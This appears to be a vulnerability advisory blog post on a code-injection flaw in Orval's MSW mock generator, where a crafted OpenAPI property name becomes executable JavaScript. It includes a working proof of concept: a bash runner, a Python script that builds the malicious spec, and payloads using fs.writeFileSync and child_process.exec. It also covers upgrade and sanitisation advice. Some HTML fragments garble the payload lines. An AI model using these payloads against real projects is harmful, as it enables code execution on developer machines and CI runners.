Listen to this Post
How CVE-2026-71867 Works
Orval is a popular tool that generates type-safe JavaScript clients and mock services from OpenAPI and Swagger specifications. When the `output.mock` option is set to true, Orval generates MSW (Mock Service Worker) mock factories that return mock data objects.
The vulnerability exists in how Orval handles schema property names during mock factory generation. Prior to version 8.21.0, Orval emits each schema property name as a single-quoted object key in the generated mock factory without escaping the single quote character.
An attacker can craft an OpenAPI specification containing a property name with a malicious single quote, such as:
x': 0, <a href="0,">require("fs").writeFileSync("PWNED","")</a>: 0, 'y
When Orval generates the MSW mock factory, this property name is inserted directly into the object literal:
export const getOpResponseMock = (...): Thing => ({
'x': 0,
'y': faker....,
...overrideResponse
});
The single quote in the property name closes the string key early, and the attacker-controlled payload lands in an object-literal computed property key context (
</code>). This computed property expression is evaluated when the mock factory is called — for example, during test execution or when an MSW handler uses the mock. The property name is a pure data field from the OpenAPI schema, yet it becomes executable code. This is a classic template injection / code injection flaw (CWE-94, CWE-95). The vulnerability is distinct from other Orval CVEs (CVE-2026-22785, CVE-2026-23947, CVE-2026-24132, CVE-2026-25141). The zod schema generation safely double-quotes property names, and the TypeScript interface key is only a type (Denial of Service at most). The MSW mock generator is the attack surface. <h2 style="color: blue;">DailyCVE Form:</h2> Platform: orval Version: 8.19.0-8.20.x Vulnerability: RCE Severity: Critical Date: 2026-08-19 <h2 style="color: blue;">Prediction: Patch 8.21.0</h2> <h2 style="color: blue;">What Undercode Say:</h2> The following analytics and commands demonstrate the vulnerability verification: [bash] reproduce.sh - Automated PoC runner !/bin/bash python3 make_spec.py npx [email protected] --input spec.yaml --output mock.ts --output.mock true node -e "import('./mock.ts').then(m => m.getOpResponseMock())"
make_spec.py - Generates malicious OpenAPI spec
import yaml
spec = {
"openapi": "3.0.0",
"info": {"": "PoC", "version": "1.0.0"},
"paths": {
"/test": {
"get": {
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"x': 0, [require('fs').writeFileSync('pwned','')]: 0, 'y": {
"type": "string"
}
}
}
}
}
}
}
}
}
}
}
with open("spec.yaml", "w") as f:
yaml.dump(spec, f)
Verify the generated mock contains the injected code
grep -A5 "getOpResponseMock" mock.ts
Expected output shows: <a href="0,">require("fs").writeFileSync("pwned","")</a>
Trigger the RCE
node -e "const m = require('./mock.ts'); m.getOpResponseMock();"
File 'pwned' is created → code execution confirmed
Exploit: (Educational Purposes!)
- Craft a malicious OpenAPI spec with a property name containing a single quote and a computed property payload:
x': 0, [require('child_process').exec('calc')]: 0, 'y - Feed the spec to Orval with MSW mock generation enabled:
npx [email protected] --input malicious.yaml --output mock.ts --output.mock true
- Wait for the mock factory to be called — this happens when:
- Running unit/integration tests that import the mock
- An MSW handler uses the generated mock in a browser or Node environment
- CI/CD pipelines execute tests that load the generated mock
4. The payload executes with the privileges of the process running the mock factory (developer machine, CI runner, test environment).
Protection
- Upgrade to Orval 8.21.0 or later — this version includes the fix.
- If upgrade is not immediately possible, avoid generating MSW mocks (
output.mock: true) from untrusted OpenAPI specifications. - Sanitize OpenAPI inputs before processing with Orval — treat all property names as untrusted.
- The fix involves escaping property names using `JSON.stringify` and never interpolating raw property names adjacent to `[ ]` in object-literal position.
Impact
- Remote Code Execution (RCE) on any machine that generates Orval MSW mocks from an attacker-controlled spec and executes the generated mocks.
- Affects developer workstations, CI/CD pipelines, test environments, and any application that imports or runs the generated MSW mocks.
- An attacker can execute arbitrary JavaScript/OS commands via Node.js `child_process` or `fs` modules.
- CVSS 4.0 Base Score: 9.3 (CRITICAL).
- The vulnerability exists in Orval versions 8.19.0 through 8.20.x.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
